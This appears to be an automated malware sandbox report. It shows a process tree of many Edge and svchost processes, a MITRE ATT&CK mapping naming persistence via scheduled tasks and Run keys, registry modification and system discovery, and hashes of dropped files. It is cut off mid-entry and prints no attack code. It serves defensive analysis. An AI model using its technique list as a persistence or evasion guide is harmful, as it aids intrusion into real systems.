        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3580 /prefetch:1
        9⤵
        
        PID:5532
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6028 /prefetch:1
        9⤵
        
        PID:5624
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3684 /prefetch:1
        9⤵
        
        PID:6072
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3812 /prefetch:1
        9⤵
        
        PID:4932
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=1296 /prefetch:1
        9⤵
        
        PID:4664
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5624 /prefetch:1
        9⤵
        
        PID:5816
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6260 /prefetch:1
        9⤵
        
        PID:5144
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4756 /prefetch:1
        9⤵
        
        PID:5712
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6076 /prefetch:1
        9⤵
        
        PID:5232
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=24 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6488 /prefetch:1
        9⤵
        
        PID:5220
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=25 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6644 /prefetch:1
        9⤵
        
        PID:5264
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=26 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=212 /prefetch:1
        9⤵
        
        PID:5044
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=27 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6780 /prefetch:1
        9⤵
        
        PID:4596
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6680 /prefetch:1
        9⤵
        
        PID:5980
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6168 /prefetch:1
        9⤵
        
        PID:3804
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6600 /prefetch:1
        9⤵
        
        PID:3752
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=31 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5148 /prefetch:1
        9⤵
        
        PID:5716
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5716 /prefetch:1
        9⤵
        
        PID:4764
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=33 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=7248 /prefetch:1
        9⤵
        
        PID:6064
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2128,4074824858682261044,5269737197938600907,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=34 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6844 /prefetch:1
        9⤵
        
        PID:3572
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:3744
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:2604
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4948
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5464
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:5476
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5988
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:6000
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:6044
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5652
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:5688
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:6068
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:5544
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5996
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:2684
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:5844
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5336
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:5340
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5944
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:2168
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:5424
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:5624
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:1548
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:4340
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:4656
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:5528
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=svchost.exe&platform=0009&osver=7&isServer=0&shimver=4.0.30319.0
        8⤵
        
        PID:3040
        
        C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffbb43646f8,0x7ffbb4364708,0x7ffbb4364718
        9⤵
        
        PID:2536
        
        C:\Windows\SysWOW64\svchost.exe
        
        svchost.exe
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1816

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1368

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
712a00a9d8164b3b6795c4e11800d2f1

SHA1
82952ef15a2e4e2b06cb149d3b206d11135128b5

SHA256
2a3b20384f9ce1100ea1c1d3fc24b874446506c627102da75ace1e7bcac4a052

SHA512
ab87d76996cf96e76f9182f72ffe16b1e014ac1ccbe2991a6cd85309622365fbf4a6e79023e616c529640f626cd3943bab9338816bf6ce6831cf5696d28ecd17

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\676a5990-ef03-4b43-aeb5-072d1482f067.tmp

Filesize
11KB

MD5
bc28193e3e3f6832405548ff0ea7ba7a

SHA1
be011f755878ace70f39147f1d009b7b3e79e4fb

SHA256
66d23e350ec2895877b3ddf5eb4688ff1ac801ede6b3e4190bc2e36093271886

SHA512
b94a322ce30733abaf9d9b6f79a9f53872fc265e7f0d73b89ee276bd82fb6a738dfb6208cb6f0a239d20b738eb8f6c0b29bc2d6f909f4d6651bbd9ad98195d9d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
34d2c4f40f47672ecdf6f66fea242f4a

SHA1
4bcad62542aeb44cae38a907d8b5a8604115ada2

SHA256
b214e3affb02a2ea4469a8bbdfa8a179e7cc57cababd83b4bafae9cdbe23fa33

SHA512
50fba54ec95d694211a005d0e3e6cf5b5677efa16989cbf854207a1a67e3a139f32b757c6f2ce824a48f621440b93fde60ad1dc790fcec4b76edddd0d92a75d6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
8749e21d9d0a17dac32d5aa2027f7a75

SHA1
a5d555f8b035c7938a4a864e89218c0402ab7cde

SHA256
915193bd331ee9ea7c750398a37fbb552b8c5a1d90edec6293688296bda6f304

SHA512
c645a41180ed01e854f197868283f9b40620dbbc813a1c122f6870db574ebc1c4917da4d320bdfd1cc67f23303a2c6d74e4f36dd9d3ffcfa92d3dfca3b7ca31a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\125c4aa0-bd4b-4e84-9fdd-0ddc735d9f48.tmp

Filesize
7KB

MD5
842b3cd2535bb359eecfa9357bc25748

SHA1
de13bb7facebfc5ef2e69564aab6d1c4491614c2

SHA256
b30dbba76b04d2512fc83d6b2fddf4a39604933f22a063660454c64c2dfe471e

SHA512
b9e6b4b4a76de6a5a81ff8d07b9f06973f6b2d5f4fb27aadc4781c2a7bf0088daa3557a021d6e014c354710f71ac9051a587f929f3336a14e81a2a80d9cd6916

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\4decdbf5-cd66-4033-84ec-437d33bef353.tmp

Filesize
6KB

MD5
d369c7c6516fdda1bc493399052b546a

SHA1
ced3db4da3eda1f73dfaa7b4777a355d53e4ffbe

SHA256
63a5448541557e132eb25f47b49eabc303b38673a271d1572babed437e2f7b04

SHA512
7eb6ed03108ef50e4de635f1120940b19db4ce04b048a7ed5c786c15b5a613ba2d6b778cd41e0476e9ecb63e1f6ab48b9b62c2341a1594e31e893fd75d40e343

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\9e3454cd-45cd-4ed3-bb67-68dadbfe04b2.tmp

Filesize
437B

MD5
05592d6b429a6209d372dba7629ce97c

SHA1
b4d45e956e3ec9651d4e1e045b887c7ccbdde326

SHA256
3aacb982b8861c38a392829ee3156d05dfdd46b0ecb46154f0ea9374557bc0fd

SHA512
caa85bdccabea9250e8a5291f987b8d54362a7b3eec861c56f79cebb06277aa35d411e657ec632079f46affd4d6730e82115e7b317fbda55dacc16378528abaa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000001

Filesize
68KB

MD5
debb8e478711b4da34163f63d2f86e19

SHA1
17fb8d650de3bccc647ada89a1d2e8a17484ef29

SHA256
7f3c5e4a4880f736cebf61db91f751c5c6e7e29306cf2705c86e0554aa4e2a13

SHA512
f1d8417e134a32fffe089166fdd6fa4e3ee26fd9800557560632c1bcbc45f0064e2a9457c6a5b912df408d1f77f09b27a4b81c44080ac1c0f4f5e40f9f31e5a5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000002

Filesize
486KB

MD5
9125f2721f58f9446c6fd7d5b0691f3f

SHA1
acc0ba9eb5ce3a7eff9d5de315657b6e2f89f4a8

SHA256
